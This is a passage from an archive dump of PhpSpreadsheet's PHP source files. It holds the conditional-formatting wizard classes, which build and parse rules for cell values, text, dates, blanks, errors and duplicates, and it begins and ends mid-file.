ConditionalFormatValueObject { return $this->maximumConditionalFormatValueObject; } public function setMaximumConditionalFormatValueObject(ConditionalFormatValueObject $maximumConditionalFormatValueObject): self { $this->maximumConditionalFormatValueObject = $maximumConditionalFormatValueObject; return $this; } public function getMinimumConditionalFormatValueObject(): ConditionalFormatValueObject { return $this->minimumConditionalFormatValueObject; } public function setMinimumConditionalFormatValueObject(ConditionalFormatValueObject $minimumConditionalFormatValueObject): self { $this->minimumConditionalFormatValueObject = $minimumConditionalFormatValueObject; return $this; } public function getBorderColor(): ?string { return $this->borderColor; } public function setBorderColor(string $borderColor): self { $this->borderColor = $borderColor; return $this; } public function getNegativeFillColor(): ?string { return $this->negativeFillColor; } public function setNegativeFillColor(string $negativeFillColor): self { $this->negativeFillColor = $negativeFillColor; return $this; } public function getNegativeBorderColor(): ?string { return $this->negativeBorderColor; } public function setNegativeBorderColor(string $negativeBorderColor): self { $this->negativeBorderColor = $negativeBorderColor; return $this; } public function getAxisColor(): array { return $this->axisColor; } public function setAxisColor(mixed $rgb, mixed $theme = null, mixed $tint = null): self { $this->axisColor = [ 'rgb' => $rgb, 'theme' => $theme, 'tint' => $tint, ]; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/Wizard/Expression.php000064400000004105151676714400026755 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; /** * @method Expression formula(string $expression) */ class Expression extends WizardAbstract implements WizardInterface { protected string $expression; public function __construct(string $cellRange) { parent::__construct($cellRange); } public function expression(string $expression): self { $expression = $this->validateOperand($expression, Wizard::VALUE_TYPE_FORMULA); $this->expression = $expression; return $this; } public function getConditional(): Conditional { $expression = $this->adjustConditionsForCellReferences([$this->expression]); $conditional = new Conditional(); $conditional->setConditionType(Conditional::CONDITION_EXPRESSION); $conditional->setConditions($expression); $conditional->setStyle($this->getStyle()); $conditional->setStopIfTrue($this->getStopIfTrue()); return $conditional; } public static function fromConditional(Conditional $conditional, string $cellRange = 'A1'): WizardInterface { if ($conditional->getConditionType() !== Conditional::CONDITION_EXPRESSION) { throw new Exception('Conditional is not an Expression CF Rule conditional'); } $wizard = new self($cellRange); $wizard->style = $conditional->getStyle(); $wizard->stopIfTrue = $conditional->getStopIfTrue(); $wizard->expression = self::reverseAdjustCellRef((string) ($conditional->getConditions()[0]), $cellRange); return $wizard; } /** * @param mixed[] $arguments */ public function __call(string $methodName, array $arguments): self { if ($methodName !== 'formula') { throw new Exception('Invalid Operation for Expression CF Rule Wizard'); } $this->expression(...$arguments); return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/Wizard/CellValue.php000064400000016002151676714400026471 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\CellMatcher; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; /** * @method CellValue equals($value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) * @method CellValue notEquals($value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) * @method CellValue greaterThan($value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) * @method CellValue greaterThanOrEqual($value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) * @method CellValue lessThan($value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) * @method CellValue lessThanOrEqual($value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) * @method CellValue between($value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) * @method CellValue notBetween($value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) * @method CellValue and($value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) */ class CellValue extends WizardAbstract implements WizardInterface { protected const MAGIC_OPERATIONS = [ 'equals' => Conditional::OPERATOR_EQUAL, 'notEquals' => Conditional::OPERATOR_NOTEQUAL, 'greaterThan' => Conditional::OPERATOR_GREATERTHAN, 'greaterThanOrEqual' => Conditional::OPERATOR_GREATERTHANOREQUAL, 'lessThan' => Conditional::OPERATOR_LESSTHAN, 'lessThanOrEqual' => Conditional::OPERATOR_LESSTHANOREQUAL, 'between' => Conditional::OPERATOR_BETWEEN, 'notBetween' => Conditional::OPERATOR_NOTBETWEEN, ]; protected const SINGLE_OPERATORS = CellMatcher::COMPARISON_OPERATORS; protected const RANGE_OPERATORS = CellMatcher::COMPARISON_RANGE_OPERATORS; protected string $operator = Conditional::OPERATOR_EQUAL; protected array $operand = [0]; /** * @var string[] */ protected array $operandValueType = []; public function __construct(string $cellRange) { parent::__construct($cellRange); } protected function operator(string $operator): void { if ((!isset(self::SINGLE_OPERATORS[$operator])) && (!isset(self::RANGE_OPERATORS[$operator]))) { throw new Exception('Invalid Operator for Cell Value CF Rule Wizard'); } $this->operator = $operator; } protected function operand(int $index, mixed $operand, string $operandValueType = Wizard::VALUE_TYPE_LITERAL): void { if (is_string($operand)) { $operand = $this->validateOperand($operand, $operandValueType); } $this->operand[$index] = $operand; $this->operandValueType[$index] = $operandValueType; } protected function wrapValue(mixed $value, string $operandValueType): float|int|string { if (!is_numeric($value) && !is_bool($value) && null !== $value) { if ($operandValueType === Wizard::VALUE_TYPE_LITERAL) { return '"' . str_replace('"', '""', $value) . '"'; } return $this->cellConditionCheck($value); } if (null === $value) { $value = 'NULL'; } elseif (is_bool($value)) { $value = $value ? 'TRUE' : 'FALSE'; } return $value; } public function getConditional(): Conditional { if (!isset(self::RANGE_OPERATORS[$this->operator])) { unset($this->operand[1], $this->operandValueType[1]); } $values = array_map([$this, 'wrapValue'], $this->operand, $this->operandValueType); $conditional = new Conditional(); $conditional->setConditionType(Conditional::CONDITION_CELLIS); $conditional->setOperatorType($this->operator); $conditional->setConditions($values); $conditional->setStyle($this->getStyle()); $conditional->setStopIfTrue($this->getStopIfTrue()); return $conditional; } protected static function unwrapString(string $condition): string { if ((str_starts_with($condition, '"')) && (str_starts_with(strrev($condition), '"'))) { $condition = substr($condition, 1, -1); } return str_replace('""', '"', $condition); } public static function fromConditional(Conditional $conditional, string $cellRange = 'A1'): WizardInterface { if ($conditional->getConditionType() !== Conditional::CONDITION_CELLIS) { throw new Exception('Conditional is not a Cell Value CF Rule conditional'); } $wizard = new self($cellRange); $wizard->style = $conditional->getStyle(); $wizard->stopIfTrue = $conditional->getStopIfTrue(); $wizard->operator = $conditional->getOperatorType(); $conditions = $conditional->getConditions(); foreach ($conditions as $index => $condition) { // Best-guess to try and identify if the text is a string literal, a cell reference or a formula? $operandValueType = Wizard::VALUE_TYPE_LITERAL; if (is_string($condition)) { if (Calculation::keyInExcelConstants($condition)) { $condition = Calculation::getExcelConstants($condition); } elseif (preg_match('/^' . Calculation::CALCULATION_REGEXP_CELLREF_RELATIVE . '$/i', $condition)) { $operandValueType = Wizard::VALUE_TYPE_CELL; $condition = self::reverseAdjustCellRef($condition, $cellRange); } elseif ( preg_match('/\(\)/', $condition) || preg_match('/' . Calculation::CALCULATION_REGEXP_CELLREF_RELATIVE . '/i', $condition) ) { $operandValueType = Wizard::VALUE_TYPE_FORMULA; $condition = self::reverseAdjustCellRef($condition, $cellRange); } else { $condition = self::unwrapString($condition); } } $wizard->operand($index, $condition, $operandValueType); } return $wizard; } /** * @param mixed[] $arguments */ public function __call(string $methodName, array $arguments): self { if (!isset(self::MAGIC_OPERATIONS[$methodName]) && $methodName !== 'and') { throw new Exception('Invalid Operator for Cell Value CF Rule Wizard'); } if ($methodName === 'and') { if (!isset(self::RANGE_OPERATORS[$this->operator])) { throw new Exception('AND Value is only appropriate for range operators'); } $this->operand(1, ...$arguments); return $this; } $this->operator(self::MAGIC_OPERATIONS[$methodName]); //$this->operand(0, ...$arguments); if (count($arguments) < 2) { $this->operand(0, $arguments[0]); } else { $this->operand(0, $arguments[0], $arguments[1]); } return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/Wizard/Errors.php000064400000005173151676714400026100 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; /** * @method Errors notError() * @method Errors isError() */ class Errors extends WizardAbstract implements WizardInterface { protected const OPERATORS = [ 'notError' => false, 'isError' => true, ]; protected const EXPRESSIONS = [ Wizard::NOT_ERRORS => 'NOT(ISERROR(%s))', Wizard::ERRORS => 'ISERROR(%s)', ]; protected bool $inverse; public function __construct(string $cellRange, bool $inverse = false) { parent::__construct($cellRange); $this->inverse = $inverse; } protected function inverse(bool $inverse): void { $this->inverse = $inverse; } protected function getExpression(): void { $this->expression = sprintf( self::EXPRESSIONS[$this->inverse ? Wizard::ERRORS : Wizard::NOT_ERRORS], $this->referenceCell ); } public function getConditional(): Conditional { $this->getExpression(); $conditional = new Conditional(); $conditional->setConditionType( $this->inverse ? Conditional::CONDITION_CONTAINSERRORS : Conditional::CONDITION_NOTCONTAINSERRORS ); $conditional->setConditions([$this->expression]); $conditional->setStyle($this->getStyle()); $conditional->setStopIfTrue($this->getStopIfTrue()); return $conditional; } public static function fromConditional(Conditional $conditional, string $cellRange = 'A1'): WizardInterface { if ( $conditional->getConditionType() !== Conditional::CONDITION_CONTAINSERRORS && $conditional->getConditionType() !== Conditional::CONDITION_NOTCONTAINSERRORS ) { throw new Exception('Conditional is not an Errors CF Rule conditional'); } $wizard = new self($cellRange); $wizard->style = $conditional->getStyle(); $wizard->stopIfTrue = $conditional->getStopIfTrue(); $wizard->inverse = $conditional->getConditionType() === Conditional::CONDITION_CONTAINSERRORS; return $wizard; } /** * @param mixed[] $arguments */ public function __call(string $methodName, array $arguments): self { if (!array_key_exists($methodName, self::OPERATORS)) { throw new Exception('Invalid Operation for Errors CF Rule Wizard'); } $this->inverse(self::OPERATORS[$methodName]); return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/Wizard/WizardInterface.php000064400000001216151676714400027677 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\Style; interface WizardInterface { public function getCellRange(): string; public function setCellRange(string $cellRange): void; public function getStyle(): Style; public function setStyle(Style $style): void; public function getStopIfTrue(): bool; public function setStopIfTrue(bool $stopIfTrue): void; public function getConditional(): Conditional; public static function fromConditional(Conditional $conditional, string $cellRange = 'A1'): self; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/Wizard/TextValue.php000064400000014056151676714400026545 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; /** * @method TextValue contains(string $value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) * @method TextValue doesNotContain(string $value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) * @method TextValue doesntContain(string $value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) * @method TextValue beginsWith(string $value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) * @method TextValue startsWith(string $value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) * @method TextValue endsWith(string $value, string $operandValueType = Wizard::VALUE_TYPE_LITERAL) */ class TextValue extends WizardAbstract implements WizardInterface { protected const MAGIC_OPERATIONS = [ 'contains' => Conditional::OPERATOR_CONTAINSTEXT, 'doesntContain' => Conditional::OPERATOR_NOTCONTAINS, 'doesNotContain' => Conditional::OPERATOR_NOTCONTAINS, 'beginsWith' => Conditional::OPERATOR_BEGINSWITH, 'startsWith' => Conditional::OPERATOR_BEGINSWITH, 'endsWith' => Conditional::OPERATOR_ENDSWITH, ]; protected const OPERATORS = [ Conditional::OPERATOR_CONTAINSTEXT => Conditional::CONDITION_CONTAINSTEXT, Conditional::OPERATOR_NOTCONTAINS => Conditional::CONDITION_NOTCONTAINSTEXT, Conditional::OPERATOR_BEGINSWITH => Conditional::CONDITION_BEGINSWITH, Conditional::OPERATOR_ENDSWITH => Conditional::CONDITION_ENDSWITH, ]; protected const EXPRESSIONS = [ Conditional::OPERATOR_CONTAINSTEXT => 'NOT(ISERROR(SEARCH(%s,%s)))', Conditional::OPERATOR_NOTCONTAINS => 'ISERROR(SEARCH(%s,%s))', Conditional::OPERATOR_BEGINSWITH => 'LEFT(%s,LEN(%s))=%s', Conditional::OPERATOR_ENDSWITH => 'RIGHT(%s,LEN(%s))=%s', ]; protected string $operator; protected string $operand; protected string $operandValueType; public function __construct(string $cellRange) { parent::__construct($cellRange); } protected function operator(string $operator): void { if (!isset(self::OPERATORS[$operator])) { throw new Exception('Invalid Operator for Text Value CF Rule Wizard'); } $this->operator = $operator; } protected function operand(string $operand, string $operandValueType = Wizard::VALUE_TYPE_LITERAL): void { $operand = $this->validateOperand($operand, $operandValueType); $this->operand = $operand; $this->operandValueType = $operandValueType; } protected function wrapValue(string $value): string { return '"' . $value . '"'; } protected function setExpression(): void { $operand = $this->operandValueType === Wizard::VALUE_TYPE_LITERAL ? $this->wrapValue(str_replace('"', '""', $this->operand)) : $this->cellConditionCheck($this->operand); if ( $this->operator === Conditional::OPERATOR_CONTAINSTEXT || $this->operator === Conditional::OPERATOR_NOTCONTAINS ) { $this->expression = sprintf(self::EXPRESSIONS[$this->operator], $operand, $this->referenceCell); } else { $this->expression = sprintf(self::EXPRESSIONS[$this->operator], $this->referenceCell, $operand, $operand); } } public function getConditional(): Conditional { $this->setExpression(); $conditional = new Conditional(); $conditional->setConditionType(self::OPERATORS[$this->operator]); $conditional->setOperatorType($this->operator); $conditional->setText( $this->operandValueType !== Wizard::VALUE_TYPE_LITERAL ? $this->cellConditionCheck($this->operand) : $this->operand ); $conditional->setConditions([$this->expression]); $conditional->setStyle($this->getStyle()); $conditional->setStopIfTrue($this->getStopIfTrue()); return $conditional; } public static function fromConditional(Conditional $conditional, string $cellRange = 'A1'): WizardInterface { if (!in_array($conditional->getConditionType(), self::OPERATORS, true)) { throw new Exception('Conditional is not a Text Value CF Rule conditional'); } $wizard = new self($cellRange); $wizard->operator = (string) array_search($conditional->getConditionType(), self::OPERATORS, true); $wizard->style = $conditional->getStyle(); $wizard->stopIfTrue = $conditional->getStopIfTrue(); // Best-guess to try and identify if the text is a string literal, a cell reference or a formula? $wizard->operandValueType = Wizard::VALUE_TYPE_LITERAL; $condition = $conditional->getText(); if (preg_match('/^' . Calculation::CALCULATION_REGEXP_CELLREF_RELATIVE . '$/i', $condition)) { $wizard->operandValueType = Wizard::VALUE_TYPE_CELL; $condition = self::reverseAdjustCellRef($condition, $cellRange); } elseif ( preg_match('/\(\)/', $condition) || preg_match('/' . Calculation::CALCULATION_REGEXP_CELLREF_RELATIVE . '/i', $condition) ) { $wizard->operandValueType = Wizard::VALUE_TYPE_FORMULA; } $wizard->operand = $condition; return $wizard; } /** * @param mixed[] $arguments */ public function __call(string $methodName, array $arguments): self { if (!isset(self::MAGIC_OPERATIONS[$methodName])) { throw new Exception('Invalid Operation for Text Value CF Rule Wizard'); } $this->operator(self::MAGIC_OPERATIONS[$methodName]); //$this->operand(...$arguments); if (count($arguments) < 2) { $this->operand($arguments[0]); } else { $this->operand($arguments[0], $arguments[1]); } return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/Wizard/Duplicates.php000064400000004133151676714400026714 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Style\Conditional; /** * @method Errors duplicates() * @method Errors unique() */ class Duplicates extends WizardAbstract implements WizardInterface { protected const OPERATORS = [ 'duplicates' => false, 'unique' => true, ]; protected bool $inverse; public function __construct(string $cellRange, bool $inverse = false) { parent::__construct($cellRange); $this->inverse = $inverse; } protected function inverse(bool $inverse): void { $this->inverse = $inverse; } public function getConditional(): Conditional { $conditional = new Conditional(); $conditional->setConditionType( $this->inverse ? Conditional::CONDITION_UNIQUE : Conditional::CONDITION_DUPLICATES ); $conditional->setStyle($this->getStyle()); $conditional->setStopIfTrue($this->getStopIfTrue()); return $conditional; } public static function fromConditional(Conditional $conditional, string $cellRange = 'A1'): WizardInterface { if ( $conditional->getConditionType() !== Conditional::CONDITION_DUPLICATES && $conditional->getConditionType() !== Conditional::CONDITION_UNIQUE ) { throw new Exception('Conditional is not a Duplicates CF Rule conditional'); } $wizard = new self($cellRange); $wizard->style = $conditional->getStyle(); $wizard->stopIfTrue = $conditional->getStopIfTrue(); $wizard->inverse = $conditional->getConditionType() === Conditional::CONDITION_UNIQUE; return $wizard; } /** * @param mixed[] $arguments */ public function __call(string $methodName, array $arguments): self { if (!array_key_exists($methodName, self::OPERATORS)) { throw new Exception('Invalid Operation for Errors CF Rule Wizard'); } $this->inverse(self::OPERATORS[$methodName]); return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/Wizard/WizardAbstract.php000064400000012740151676714400027546 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; use PhpOffice\PhpSpreadsheet\Style\Style; abstract class WizardAbstract { /** * @var ?Style */ protected ?Style $style = null; protected string $expression; protected string $cellRange; protected string $referenceCell; protected int $referenceRow; protected bool $stopIfTrue = false; protected int $referenceColumn; public function __construct(string $cellRange) { $this->setCellRange($cellRange); } public function getCellRange(): string { return $this->cellRange; } public function setCellRange(string $cellRange): void { $this->cellRange = $cellRange; $this->setReferenceCellForExpressions($cellRange); } protected function setReferenceCellForExpressions(string $conditionalRange): void { $conditionalRange = Coordinate::splitRange(str_replace('$', '', strtoupper($conditionalRange))); [$this->referenceCell] = $conditionalRange[0]; [$this->referenceColumn, $this->referenceRow] = Coordinate::indexesFromString($this->referenceCell); } public function getStopIfTrue(): bool { return $this->stopIfTrue; } public function setStopIfTrue(bool $stopIfTrue): void { $this->stopIfTrue = $stopIfTrue; } public function getStyle(): Style { return $this->style ?? new Style(false, true); } public function setStyle(Style $style): void { $this->style = $style; } protected function validateOperand(string $operand, string $operandValueType = Wizard::VALUE_TYPE_LITERAL): string { if ( $operandValueType === Wizard::VALUE_TYPE_LITERAL && str_starts_with($operand, '"') && str_ends_with($operand, '"') ) { $operand = str_replace('""', '"', substr($operand, 1, -1)); } elseif ($operandValueType === Wizard::VALUE_TYPE_FORMULA && str_starts_with($operand, '=')) { $operand = substr($operand, 1); } return $operand; } protected static function reverseCellAdjustment(array $matches, int $referenceColumn, int $referenceRow): string { $worksheet = $matches[1]; $column = $matches[6]; $row = $matches[7]; if (!str_contains($column, '$')) { $column = Coordinate::columnIndexFromString($column); $column -= $referenceColumn - 1; $column = Coordinate::stringFromColumnIndex($column); } if (!str_contains($row, '$')) { $row -= $referenceRow - 1; } return "{$worksheet}{$column}{$row}"; } public static function reverseAdjustCellRef(string $condition, string $cellRange): string { $conditionalRange = Coordinate::splitRange(str_replace('$', '', strtoupper($cellRange))); [$referenceCell] = $conditionalRange[0]; [$referenceColumnIndex, $referenceRow] = Coordinate::indexesFromString($referenceCell); $splitCondition = explode(Calculation::FORMULA_STRING_QUOTE, $condition); $i = false; foreach ($splitCondition as &$value) { // Only count/replace in alternating array entries (ie. not in quoted strings) $i = $i === false; if ($i) { $value = (string) preg_replace_callback( '/' . Calculation::CALCULATION_REGEXP_CELLREF_RELATIVE . '/i', fn ($matches): string => self::reverseCellAdjustment($matches, $referenceColumnIndex, $referenceRow), $value ); } } unset($value); // Then rebuild the condition string to return it return implode(Calculation::FORMULA_STRING_QUOTE, $splitCondition); } protected function conditionCellAdjustment(array $matches): string { $worksheet = $matches[1]; $column = $matches[6]; $row = $matches[7]; if (!str_contains($column, '$')) { $column = Coordinate::columnIndexFromString($column); $column += $this->referenceColumn - 1; $column = Coordinate::stringFromColumnIndex($column); } if (!str_contains($row, '$')) { $row += $this->referenceRow - 1; } return "{$worksheet}{$column}{$row}"; } protected function cellConditionCheck(string $condition): string { $splitCondition = explode(Calculation::FORMULA_STRING_QUOTE, $condition); $i = false; foreach ($splitCondition as &$value) { // Only count/replace in alternating array entries (ie. not in quoted strings) $i = $i === false; if ($i) { $value = (string) preg_replace_callback( '/' . Calculation::CALCULATION_REGEXP_CELLREF_RELATIVE . '/i', [$this, 'conditionCellAdjustment'], $value ); } } unset($value); // Then rebuild the condition string to return it return implode(Calculation::FORMULA_STRING_QUOTE, $splitCondition); } protected function adjustConditionsForCellReferences(array $conditions): array { return array_map( [$this, 'cellConditionCheck'], $conditions ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/Wizard/Blanks.php000064400000005354151676714400026037 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; /** * @method Blanks notBlank() * @method Blanks notEmpty() * @method Blanks isBlank() * @method Blanks isEmpty() */ class Blanks extends WizardAbstract implements WizardInterface { protected const OPERATORS = [ 'notBlank' => false, 'isBlank' => true, 'notEmpty' => false, 'empty' => true, ]; protected const EXPRESSIONS = [ Wizard::NOT_BLANKS => 'LEN(TRIM(%s))>0', Wizard::BLANKS => 'LEN(TRIM(%s))=0', ]; protected bool $inverse; public function __construct(string $cellRange, bool $inverse = false) { parent::__construct($cellRange); $this->inverse = $inverse; } protected function inverse(bool $inverse): void { $this->inverse = $inverse; } protected function getExpression(): void { $this->expression = sprintf( self::EXPRESSIONS[$this->inverse ? Wizard::BLANKS : Wizard::NOT_BLANKS], $this->referenceCell ); } public function getConditional(): Conditional { $this->getExpression(); $conditional = new Conditional(); $conditional->setConditionType( $this->inverse ? Conditional::CONDITION_CONTAINSBLANKS : Conditional::CONDITION_NOTCONTAINSBLANKS ); $conditional->setConditions([$this->expression]); $conditional->setStyle($this->getStyle()); $conditional->setStopIfTrue($this->getStopIfTrue()); return $conditional; } public static function fromConditional(Conditional $conditional, string $cellRange = 'A1'): WizardInterface { if ( $conditional->getConditionType() !== Conditional::CONDITION_CONTAINSBLANKS && $conditional->getConditionType() !== Conditional::CONDITION_NOTCONTAINSBLANKS ) { throw new Exception('Conditional is not a Blanks CF Rule conditional'); } $wizard = new self($cellRange); $wizard->style = $conditional->getStyle(); $wizard->stopIfTrue = $conditional->getStopIfTrue(); $wizard->inverse = $conditional->getConditionType() === Conditional::CONDITION_CONTAINSBLANKS; return $wizard; } /** * @param mixed[] $arguments */ public function __call(string $methodName, array $arguments): self { if (!array_key_exists($methodName, self::OPERATORS)) { throw new Exception('Invalid Operation for Blanks CF Rule Wizard'); } $this->inverse(self::OPERATORS[$methodName]); return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/Wizard/DateValue.php000064400000010315151676714400026470 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Style\Conditional; /** * @method DateValue yesterday() * @method DateValue today() * @method DateValue tomorrow() * @method DateValue lastSevenDays() * @method DateValue lastWeek() * @method DateValue thisWeek() * @method DateValue nextWeek() * @method DateValue lastMonth() * @method DateValue thisMonth() * @method DateValue nextMonth() */ class DateValue extends WizardAbstract implements WizardInterface { protected const MAGIC_OPERATIONS = [ 'yesterday' => Conditional::TIMEPERIOD_YESTERDAY, 'today' => Conditional::TIMEPERIOD_TODAY, 'tomorrow' => Conditional::TIMEPERIOD_TOMORROW, 'lastSevenDays' => Conditional::TIMEPERIOD_LAST_7_DAYS, 'last7Days' => Conditional::TIMEPERIOD_LAST_7_DAYS, 'lastWeek' => Conditional::TIMEPERIOD_LAST_WEEK, 'thisWeek' => Conditional::TIMEPERIOD_THIS_WEEK, 'nextWeek' => Conditional::TIMEPERIOD_NEXT_WEEK, 'lastMonth' => Conditional::TIMEPERIOD_LAST_MONTH, 'thisMonth' => Conditional::TIMEPERIOD_THIS_MONTH, 'nextMonth' => Conditional::TIMEPERIOD_NEXT_MONTH, ]; protected const EXPRESSIONS = [ Conditional::TIMEPERIOD_YESTERDAY => 'FLOOR(%s,1)=TODAY()-1', Conditional::TIMEPERIOD_TODAY => 'FLOOR(%s,1)=TODAY()', Conditional::TIMEPERIOD_TOMORROW => 'FLOOR(%s,1)=TODAY()+1', Conditional::TIMEPERIOD_LAST_7_DAYS => 'AND(TODAY()-FLOOR(%s,1)<=6,FLOOR(%s,1)<=TODAY())', Conditional::TIMEPERIOD_LAST_WEEK => 'AND(TODAY()-ROUNDDOWN(%s,0)>=(WEEKDAY(TODAY())),TODAY()-ROUNDDOWN(%s,0)<(WEEKDAY(TODAY())+7))', Conditional::TIMEPERIOD_THIS_WEEK => 'AND(TODAY()-ROUNDDOWN(%s,0)<=WEEKDAY(TODAY())-1,ROUNDDOWN(%s,0)-TODAY()<=7-WEEKDAY(TODAY()))', Conditional::TIMEPERIOD_NEXT_WEEK => 'AND(ROUNDDOWN(%s,0)-TODAY()>(7-WEEKDAY(TODAY())),ROUNDDOWN(%s,0)-TODAY()<(15-WEEKDAY(TODAY())))', Conditional::TIMEPERIOD_LAST_MONTH => 'AND(MONTH(%s)=MONTH(EDATE(TODAY(),0-1)),YEAR(%s)=YEAR(EDATE(TODAY(),0-1)))', Conditional::TIMEPERIOD_THIS_MONTH => 'AND(MONTH(%s)=MONTH(TODAY()),YEAR(%s)=YEAR(TODAY()))', Conditional::TIMEPERIOD_NEXT_MONTH => 'AND(MONTH(%s)=MONTH(EDATE(TODAY(),0+1)),YEAR(%s)=YEAR(EDATE(TODAY(),0+1)))', ]; protected string $operator; public function __construct(string $cellRange) { parent::__construct($cellRange); } protected function operator(string $operator): void { $this->operator = $operator; } protected function setExpression(): void { $referenceCount = substr_count(self::EXPRESSIONS[$this->operator], '%s'); $references = array_fill(0, $referenceCount, $this->referenceCell); $this->expression = sprintf(self::EXPRESSIONS[$this->operator], ...$references); } public function getConditional(): Conditional { $this->setExpression(); $conditional = new Conditional(); $conditional->setConditionType(Conditional::CONDITION_TIMEPERIOD); $conditional->setText($this->operator); $conditional->setConditions([$this->expression]); $conditional->setStyle($this->getStyle()); $conditional->setStopIfTrue($this->getStopIfTrue()); return $conditional; } public static function fromConditional(Conditional $conditional, string $cellRange = 'A1'): WizardInterface { if ($conditional->getConditionType() !== Conditional::CONDITION_TIMEPERIOD) { throw new Exception('Conditional is not a Date Value CF Rule conditional'); } $wizard = new self($cellRange); $wizard->style = $conditional->getStyle(); $wizard->stopIfTrue = $conditional->getStopIfTrue(); $wizard->operator = $conditional->getText(); return $wizard; } /** * @param mixed[] $arguments */ public function __call(string $methodName, array $arguments): self { if (!isset(self::MAGIC_OPERATIONS[$methodName])) { throw new Exception('Invalid Operation for Date Value CF Rule Wizard'); } $this->operator(self::MAGIC_OPERATIONS[$methodName]); return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/StyleMerger.php000064400000007440151676714400025625 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting; use PhpOffice\PhpSpreadsheet\Style\Border; use PhpOffice\PhpSpreadsheet\Style\Borders; use PhpOffice\PhpSpreadsheet\Style\Fill; use PhpOffice\PhpSpreadsheet\Style\Font; use PhpOffice\PhpSpreadsheet\Style\Style; class StyleMerger { protected Style $baseStyle; public function __construct(Style $baseStyle) { $this->baseStyle = $baseStyle; } public function getStyle(): Style { return $this->baseStyle; } public function mergeStyle(Style $style): void { if ($style->getNumberFormat() !== null && $style->getNumberFormat()->getFormatCode() !== null) { $this->baseStyle->getNumberFormat()->setFormatCode($style->getNumberFormat()->getFormatCode()); } if ($style->getFont() !== null) { $this->mergeFontStyle($this->baseStyle->getFont(), $style->getFont()); } if ($style->getFill() !== null) { $this->mergeFillStyle($this->baseStyle->getFill(), $style->getFill()); } if ($style->getBorders() !== null) { $this->mergeBordersStyle($this->baseStyle->getBorders(), $style->getBorders()); } } protected function mergeFontStyle(Font $baseFontStyle, Font $fontStyle): void { if ($fontStyle->getBold() !== null) { $baseFontStyle->setBold($fontStyle->getBold()); } if ($fontStyle->getItalic() !== null) { $baseFontStyle->setItalic($fontStyle->getItalic()); } if ($fontStyle->getStrikethrough() !== null) { $baseFontStyle->setStrikethrough($fontStyle->getStrikethrough()); } if ($fontStyle->getUnderline() !== null) { $baseFontStyle->setUnderline($fontStyle->getUnderline()); } if ($fontStyle->getColor() !== null && $fontStyle->getColor()->getARGB() !== null) { $baseFontStyle->setColor($fontStyle->getColor()); } } protected function mergeFillStyle(Fill $baseFillStyle, Fill $fillStyle): void { if ($fillStyle->getFillType() !== null) { $baseFillStyle->setFillType($fillStyle->getFillType()); } //if ($fillStyle->getRotation() !== null) { $baseFillStyle->setRotation($fillStyle->getRotation()); //} if 